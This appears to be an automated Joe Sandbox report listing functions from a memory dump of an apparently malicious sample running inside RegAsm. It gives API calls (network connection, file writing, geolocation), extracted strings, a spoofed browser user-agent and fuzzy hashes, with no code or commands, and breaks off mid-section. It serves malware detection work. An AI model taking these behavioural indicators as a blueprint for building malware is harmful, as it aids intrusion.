Instruction ID: 3302e2c74068f9bdbd4710876ba1c4f9aa30930fcd03b25441700909c91849f8
Opcode Fuzzy Hash: bb15006e30f6fc4ad114c43c02281f78c9b151033810da23866ffd457616cdb5
Instruction Fuzzy Hash: BB51ABB5E08298ABDF04DBF98C55AEEBFB56F9C200F0484AAF555E3282E57456048B70

Function 0051D130 Relevance: 3.2, APIs: 2, Instructions: 150COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(000005B6), ref: 0051D1DF
GetModuleHandleA.KERNEL32(00000000), ref: 0051D2BE

Part of subcall function 0053F46A: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F475
Part of subcall function 0053F46A: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F4AF

Part of subcall function 0051CE90: GetModuleHandleA.KERNEL32(00000000), ref: 0051CF1E
Part of subcall function 0051CE90: GetLastError.KERNEL32 ref: 0051CF5F

Part of subcall function 0053F419: AcquireSRWLockExclusive.KERNEL32(0058F970,-000071FB,?,00431712,00591F6C), ref: 0053F423
Part of subcall function 0053F419: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F456
Part of subcall function 0053F419: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F461

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireErrorHandleLastModuleRelease$ConditionVariableWake
String ID:
API String ID: 1192564941-0
Opcode ID: e0890a021dc9fe802032197e00be6a6bac78344e93bfac046d3b63abdfe9bc14
Instruction ID: 67f15b279c72dc78e10b8ec90e18477e5f26766740b8311c4bd470acc756f395
Opcode Fuzzy Hash: e0890a021dc9fe802032197e00be6a6bac78344e93bfac046d3b63abdfe9bc14
Instruction Fuzzy Hash: FF51D5B1D04259AFDB04DBF8D845AEFBFB5BF58300F044569F456A3282EA345A04CB71

Function 0053F12E Relevance: 1.7, APIs: 1, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0053F769

Part of subcall function 00541C91: RaiseException.KERNEL32(E06D7363,00000001,00000003,0053F752,?,?,?,?,0053F752,?,00589EB8), ref: 00541CF1

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFeaturePresentProcessorRaise
String ID:
API String ID: 1477838251-0
Opcode ID: 838c745a2d3bb43439b96bd1c3d7be1c19dd8534b4619a712cd16f03eb7fe31e
Instruction ID: d7379173e098e7bb40655c85b5ee728d86e2db80c6692cb70f219509d6fe4750
Opcode Fuzzy Hash: 838c745a2d3bb43439b96bd1c3d7be1c19dd8534b4619a712cd16f03eb7fe31e
Instruction Fuzzy Hash: 99619371D01309EBEB18CFA8E8857AEBBF4FB58310F24853AD815E7261E3749945DB90

Function 0050C9A0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 255
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,?,?), ref: 0050C9F4
InternetConnectA.WININET(00000000,0000EFD2,00000050,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0050CA3F

Strings

6~swr, xrefs: 0050CAC0

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$ConnectOpen
String ID: 6~swr
API String ID: 2790792615-3949020348
Opcode ID: 1dff08983ab15d1108849b91d4e76a4c35fc7d1f9aa1f9d3cb40b33a53832d1e
Instruction ID: c3b925779b2b04a3caf04ceed8d1626e52cf5419011eb764edf183035947e96c
Opcode Fuzzy Hash: 1dff08983ab15d1108849b91d4e76a4c35fc7d1f9aa1f9d3cb40b33a53832d1e
Instruction Fuzzy Hash: C5B1F6B0E00308EFEB14CFA4D895BEEBBB5FB49304F108159E515AB281D779AA05DF94

Function 00558792 Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b19c6b64e826937bdb7dc31c2ae32d7b211ae0885c833dfccb12e4220377f2d7
Instruction ID: fba81ec46a5cb943d77c33bb694f9c8b5d2eeae440ab820b62733d3ff6f2e70e
Opcode Fuzzy Hash: b19c6b64e826937bdb7dc31c2ae32d7b211ae0885c833dfccb12e4220377f2d7
Instruction Fuzzy Hash: 99B10074A04249AFDF11CFA8D864BBD7FB0BF95325F14415BE840BB292CB70984ACB54

Function 00432B40 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 132
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00432860: __aulldiv.LIBCMT ref: 0043291C

Part of subcall function 00416D40: std::ios_base::clear.LIBCPMTD ref: 00416E67

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432BF6

Part of subcall function 004141F0: std::ios_base::clear.LIBCPMTD ref: 00414372

Part of subcall function 00414120: std::ios_base::clear.LIBCPMTD ref: 0041417E

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432CE1
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00432D12

Strings

`XA, xrefs: 00432BE3, 00432CCE, 00432CFF
`@, xrefs: 00432BEC, 00432CD7, 00432D08

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_std::ios_base::clear$__aulldiv
String ID: `XA$`@
API String ID: 3845869555-3161672447
Opcode ID: ec968abe73d0bf3931e1800de2f14d9a5731955fec19c3582cf46c671a555826
Instruction ID: 430e2c82d444227be7c5dc5613519450c8dc7d1f305100cb7ec2d45e848f0650
Opcode Fuzzy Hash: ec968abe73d0bf3931e1800de2f14d9a5731955fec19c3582cf46c671a555826
Instruction Fuzzy Hash: E451F6B09042488BDF04DF94D6657FEBFB1AF46300F2050AAD5056B385D7B95E80CBA4

Function 00432860 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 206COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0043291C

Strings

eks, xrefs: 00432953, 00432982
j3l6lrek, xrefs: 00432A11, 00432A40
9K[, xrefs: 00432A8E

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID: 9K[$eks$j3l6lrek
API String ID: 3732870572-2749151652
Opcode ID: 3a9a8b21dcfe5f51f2c6ab5bdf49f839cb0d2eb747d1d318f93630d632ec8342
Instruction ID: 8f4067e46e7d31cd99853cef229ec3234f0a50e2b853d2a7fc0d4a821f779732
Opcode Fuzzy Hash: 3a9a8b21dcfe5f51f2c6ab5bdf49f839cb0d2eb747d1d318f93630d632ec8342
Instruction Fuzzy Hash: 3AA103B0E042589FDB14DFA9C991BEEBBB1BF48304F1081AAD409AB341DB745A85CF95

Function 0050D180 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36, xrefs: 0050D2B8

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
API String ID: 0-1672990099
Opcode ID: 6a395e8c68748fad8ce52a86c2e9b5b4572d3588bd616253d8e0e7bca46d21e7
Instruction ID: eda70c50fefee1a9f760918684416928417aaff30f3469c1fe485667f331eb32
Opcode Fuzzy Hash: 6a395e8c68748fad8ce52a86c2e9b5b4572d3588bd616253d8e0e7bca46d21e7
Instruction Fuzzy Hash: 7F51D5B5E00209ABDB08DFD9D885BEEBBF5BF88304F108159E505A7394D774AA41CBA4

Function 00416D40 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 96COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00416E67

Strings

`XA, xrefs: 00416D73
WA, xrefs: 00416DEB

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID: WA$`XA
API String ID: 1443086396-855112263
Opcode ID: fd6d3b38f9fdb5634df08d7e797737518ec3e3351e89a693b8f25bb325a5dc12
Instruction ID: e51bc9c54a42b8ef1cd12b3b9bd65c72ed8b49a9321af47167c83bb76f7294a1
Opcode Fuzzy Hash: fd6d3b38f9fdb5634df08d7e797737518ec3e3351e89a693b8f25bb325a5dc12
Instruction Fuzzy Hash: 2241E874A04209EFDB04CF99C891BAEBBB1FF88304F108199E5456B391C775AE81CF94

Function 00558C81 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,CF830579,?,00558B68,00000000,CF830579,00589A30,0000000C,00558C24,0054FB5D,?), ref: 00558CD7
GetLastError.KERNEL32(?,00558B68,00000000,CF830579,00589A30,0000000C,00558C24,0054FB5D,?), ref: 00558CE1

Strings

X, xrefs: 00558C9B

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID: X
API String ID: 918212764-1677210272
Opcode ID: ba4073fe59c0273cf0a43eeaadb8b5787e977135eb764b88650cbd609ff65dc6
Instruction ID: d1a30a290a339e9c484af4c6e65c93342cf4dd523f91ba37e63907f2e1b8c806
Opcode Fuzzy Hash: ba4073fe59c0273cf0a43eeaadb8b5787e977135eb764b88650cbd609ff65dc6
Instruction Fuzzy Hash: E21159335022105AD6102734B82A77E2F487BC2B32F25034BFD18AF1C2DE619C8C4161

Function 0041F8A0 Relevance: 4.5, APIs: 3, Instructions: 42memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000001), ref: 0041F8D4
_com_issue_error.COMSUPP ref: 0041F8F2
_com_issue_error.COMSUPP ref: 0041F91B

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: _com_issue_error$AllocString
String ID:
API String ID: 245909816-0
Opcode ID: 94c82c218822109b1a0679a62f1bf41753506b296f0a460b14d28cf288741b4b
Instruction ID: 628d94fa5255417fc64dc69d44edda305738042791b08bc19371b2bd57ce472e
Opcode Fuzzy Hash: 94c82c218822109b1a0679a62f1bf41753506b296f0a460b14d28cf288741b4b
Instruction Fuzzy Hash: 481195B4900208EFDB00EFA4C549B9DBBB1EB48305F2081A9D905AB351D7B9AE85DB95

Function 0055072E Relevance: 4.5, APIs: 3, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00550728,00000000,0054BFFA,?,?,06EF857F,0054BFFA,?), ref: 0055073F
TerminateProcess.KERNEL32(00000000,?,00550728,00000000,0054BFFA,?,?,06EF857F,0054BFFA,?), ref: 00550746
ExitProcess.KERNEL32 ref: 00550758

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1be82f418c8225fefb6aeb59f33d53f3388f4d89d608f9ef7fe15704087c396f
Instruction ID: 099a4fa5fef8040d26ad8b8509cfc1773f1c921970781da35d3f68bb8b654c03
Opcode Fuzzy Hash: 1be82f418c8225fefb6aeb59f33d53f3388f4d89d608f9ef7fe15704087c396f
Instruction Fuzzy Hash: 4AD01731004108ABCF803F64DC0D86D3F29FA483527004011FC4946072DB71A949EA80

Function 0042C990 Relevance: 3.2, APIs: 2, Instructions: 228COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB00: __aulldiv.LIBCMT ref: 0041FB82

__aulldiv.LIBCMT ref: 0042CAB5
CreateDirectoryA.KERNEL32(00000000,00000000,00000000,00000006,00000000), ref: 0042CC28

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CreateDirectory
String ID:
API String ID: 1884557851-0
Opcode ID: a27cac450bee7f95e7192af6a9fb891bff98e338e6ee12397bac4af14d1ecb6a
Instruction ID: a76087e92314fdb60688c2fa884095cba497225848513127b57327eb907b1e2c
Opcode Fuzzy Hash: a27cac450bee7f95e7192af6a9fb891bff98e338e6ee12397bac4af14d1ecb6a
Instruction Fuzzy Hash: 26A136B1E002189FDB14DFA9D891BEEBBB5FF88304F1481AAE509A7341DB346A45CF54

Function 0055960B Relevance: 3.2, APIs: 2, Instructions: 196fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00558D21: GetConsoleOutputCP.KERNEL32(06EF857F,00000000,00000000,00000000), ref: 00558D84

WriteFile.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,0000000C,?,00000000,00589A50,00000014,00550154,00000000,00000000,00000000), ref: 00559790
GetLastError.KERNEL32(?,00000000), ref: 0055979A

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 201f97af174688d1bfe5719fbeb33e38c261d8ff65e2259391ef7a08be0b4f04
Instruction ID: 526d823b461d1f979162490a7057f52a3175116defb715e2e8ccb8a75150c6e1
Opcode Fuzzy Hash: 201f97af174688d1bfe5719fbeb33e38c261d8ff65e2259391ef7a08be0b4f04
Instruction Fuzzy Hash: 5B61907281011AEFDF11CFA8C898AEEBFB9BF49305F140546ED04A7252D33AD909DB90

Function 00413370 Relevance: 3.2, APIs: 2, Instructions: 151COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 004134A2
__fread_nolock.LIBCMT ref: 004134F2

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: e81b6f9f589819911cb183a369ac35bb465546c4ec31baefe67e39f0123dd3be
Instruction ID: 61421970017f5b9d042e82a5a951784c5ecd4c4af132c7a3f065401f726926ad
Opcode Fuzzy Hash: e81b6f9f589819911cb183a369ac35bb465546c4ec31baefe67e39f0123dd3be
Instruction Fuzzy Hash: 59618475A00109EFCB08CF98C594AEEBBB2FF88305F20819AE915A7354D734AE81DF54

Function 0054BE91 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,?,?,0054BE53,?,?,?,?,?), ref: 0054BECD
GetLastError.KERNEL32(?,?,0054BE53,?,?,?,?,?,00589670,00000018,0054C024,?,?,?,?,?), ref: 0054BEDA

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: bcfffc708b122c39ba56ae591e9166d9c0b0d94b574a4d1f27eeb6ad8e47f9c0
Instruction ID: f58a5130b61e8800e3848bb51d10541e77187c532b25a13461d9921933d3d2fc
Opcode Fuzzy Hash: bcfffc708b122c39ba56ae591e9166d9c0b0d94b574a4d1f27eeb6ad8e47f9c0
Instruction Fuzzy Hash: 29010032604119AFDF05CF69DC09DEE3F29FB95324B280209F9019B292EB71ED559B90

Function 0055B6DE Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00560271,0041C3C8,00000000,0041C3C8,?,00560512,0041C3C8,00000007,0041C3C8,?,00560B07,0041C3C8,0041C3C8), ref: 0055B6F4
GetLastError.KERNEL32(0041C3C8,?,00560271,0041C3C8,00000000,0041C3C8,?,00560512,0041C3C8,00000007,0041C3C8,?,00560B07,0041C3C8,0041C3C8), ref: 0055B6FF

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: ee45bd410849a22136ebfc851fb0f5d82ff2a544bedcb27ce91135c8e5648aa0
Instruction ID: 9dc81788883884290ab3b87d08994b7a881f3434c010981c3977cea35ab405fe
Opcode Fuzzy Hash: ee45bd410849a22136ebfc851fb0f5d82ff2a544bedcb27ce91135c8e5648aa0
Instruction Fuzzy Hash: A3E08C32501204EBDB212FB8EC4CBAE3F58FB943A6F154061FA0896061CB748855D7A4

Function 0054F385 Relevance: 1.7, APIs: 1, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b540579799c8366f1ad63fe7d20ceb1a631115153c6bd94d81caa7a3d511727
Instruction ID: d9351170f1a7f8ce7be2d396f7091791f06cc6855c92c1d241a1818524783d6f
Opcode Fuzzy Hash: 5b540579799c8366f1ad63fe7d20ceb1a631115153c6bd94d81caa7a3d511727
Instruction Fuzzy Hash: F751A175A00208AFDF14DF5CC885AEE7FB1FB89368F258169F8099B252D671DE41CB90

Function 004141F0 Relevance: 1.6, APIs: 1, Instructions: 124COMMON

Download Yara Rule

APIs

std::ios_base::clear.LIBCPMTD ref: 00414372

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: std::ios_base::clear
String ID:
API String ID: 1443086396-0
Opcode ID: f31cf2c81621432c5f3249c3cae594b998a1d44b4b54b4c11ddd2318c3455eb5
Instruction ID: 788d45ca1b191504144825c7a53965b463289a392b15b43c95cca58ac315dc5e
Opcode Fuzzy Hash: f31cf2c81621432c5f3249c3cae594b998a1d44b4b54b4c11ddd2318c3455eb5
Instruction Fuzzy Hash: DD519FB4E04249DFCB14CF99D491AEEBBB1FF88310F24815AE915AB395C734A981CF94

Function 00432D20 Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(00000000), ref: 00432DFA

Part of subcall function 0053F46A: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F475
Part of subcall function 0053F46A: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-000071FB,?,004316E5,00591F6C,?,00000006,00000000,?,00000000,?,?,?,00000006,00000000), ref: 0053F4AF

Part of subcall function 0053F419: AcquireSRWLockExclusive.KERNEL32(0058F970,-000071FB,?,00431712,00591F6C), ref: 0053F423
Part of subcall function 0053F419: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F456
Part of subcall function 0053F419: WakeAllConditionVariable.KERNEL32(0058F96C,?,00431712,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000006), ref: 0053F461

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease$ConditionCurrentDirectoryVariableWake
String ID:
API String ID: 350265564-0
Opcode ID: 8f749f807746e58f78b3cb224f5ab17a9158a1324fbdd51f23b7d2464fe4e35e
Instruction ID: 964c40412a835f45528c6baa224ad5ea9ee41d8614f4da3b1c8430f66ef14c19
Opcode Fuzzy Hash: 8f749f807746e58f78b3cb224f5ab17a9158a1324fbdd51f23b7d2464fe4e35e
Instruction Fuzzy Hash: 8C219C74D0060E8FCF04DFA5C9859EEBBB1FF89344F14816AD80227354D735AA46CBA5

Function 0042DC30 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetUserGeoID.KERNEL32(00000010), ref: 0042DC40

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: User
String ID:
API String ID: 765557111-0
Opcode ID: 83cf38b345d1d45edbf457985e19bae0a264ad9c960466f3043c11ab4d7c0c33
Instruction ID: 15daba6b972551583ab5f4869e00f9288ac01e39ee6dd05b271bd99ab35c9855
Opcode Fuzzy Hash: 83cf38b345d1d45edbf457985e19bae0a264ad9c960466f3043c11ab4d7c0c33
Instruction Fuzzy Hash: B511C9B9E40209EFEF00DFD4D846BAEBBB4FB88700F104559EA14A7381D6716A00DB95

Function 0055D396 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,0041C3C8,?,0055B39F,00000001,00000364,0041C3C8,00000006,000000FF,?,?,0054F236,0055B75B,-000D4670), ref: 0055D3D7

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a19238416f522192f2cc3cee66ec438ecc213c8f067f93c675563e7e7b1359b9
Instruction ID: 377665c5850a08c8d9033e1b3416fcff9bdf7104e6adca42e940f239647b9bdc
Opcode Fuzzy Hash: a19238416f522192f2cc3cee66ec438ecc213c8f067f93c675563e7e7b1359b9
Instruction Fuzzy Hash: C5F0BB33645525A79B315E76DC29B5A7F68FF90773B164913BC04A60E0CA60D80D42F2

Function 0041D950 Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0041D967

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: b5c22dc9f952d06b0fe097e48a0fa2115ea96c6631d9f9a211abdeec8243c142
Instruction ID: 02f051bd5472341b349d89c656beca327e5d2de392aee8823f7baf454eaddafd
Opcode Fuzzy Hash: b5c22dc9f952d06b0fe097e48a0fa2115ea96c6631d9f9a211abdeec8243c142
Instruction Fuzzy Hash: C7F03CF4E0110CABCB14EFA8C4816DEFBB1EF84304F1081AAE80597354E234AE81CF89

Function 005020F0 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 0050210D

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 06f9238ed0a7e35d544452933dd4954d00f48eab1b7a7b0d68de591397f12597
Instruction ID: 2427c928bebc47855218258980272cf9aba0e1bba94fc00f043fa525ea0a44dd
Opcode Fuzzy Hash: 06f9238ed0a7e35d544452933dd4954d00f48eab1b7a7b0d68de591397f12597
Instruction Fuzzy Hash: 56F03CB4C04218FBDF15EFA5C4497DEBFB4BB04344F1084AED91526281D2799685CB96

Function 0055B718 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0041C3C8,-000D4670,?,0053F148,0041C3C8,?,0041C3C8,00000000,?,0041A2D6), ref: 0055B74A

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6e9b39e9116b117d415c2d69b4abdddbabe72bd0950ce5a222cc93a79d75d85e
Instruction ID: f9339114b1a90ca7d4659b10033d8c5daea48d70777f444acc3d633f2fb0f7a9
Opcode Fuzzy Hash: 6e9b39e9116b117d415c2d69b4abdddbabe72bd0950ce5a222cc93a79d75d85e
Instruction Fuzzy Hash: FDE0E5315202125BFA312A698C6DB6A7E8CFBD53F3F210023AD05A20D0CB60CC0982E9

Function 0051D370 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 0051D130: SetLastError.KERNEL32(000005B6), ref: 0051D1DF

boost::exception::~exception.LIBCPMTD ref: 0051D3B4

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLastboost::exception::~exception
String ID:
API String ID: 2030483509-0
Opcode ID: 13956f886f08c0a82a2a2166d1cf2840caf0b081d023d48e52d9097eede5e54c
Instruction ID: de3198d36baa8571ec2f80c0eea9199ffb311df68a9d5f981b05a06f619e4902
Opcode Fuzzy Hash: 13956f886f08c0a82a2a2166d1cf2840caf0b081d023d48e52d9097eede5e54c
Instruction Fuzzy Hash: 6FF01C71944549EBCB04DF94CD56BAEBB74FB44721F104768E826676C0DB341A05CBA1

Function 0050C910 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CharNextA.USER32(00000000,00000000,?,0050C966,0050CFAF,0000002E,00000000,?,0050CFAF), ref: 0050C920

Memory Dump Source

Source File: 00000001.00000002.2106276205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: e0a00663e9917bfe8e8533278bc9554091e04477d1fbdc4f7316dc4c04211636
Instruction ID: 0940ba04062cfc4eee1adef20314bf2722d064b507ff25f648f1181be78de33f
Opcode Fuzzy Hash: e0a00663e9917bfe8e8533278bc9554091e04477d1fbdc4f7316dc4c04211636
Instruction Fuzzy Hash: 38F0C070A08149EBCB14CFA8D59087D7FF9AB47351B244AD9EC59D7241D631EF00EB54

Non-executed Functions

Function 00540BC5 Relevance: 15.2, APIs: 10, Instructions: 200fileCOMMON

Download Yara Rule

APIs

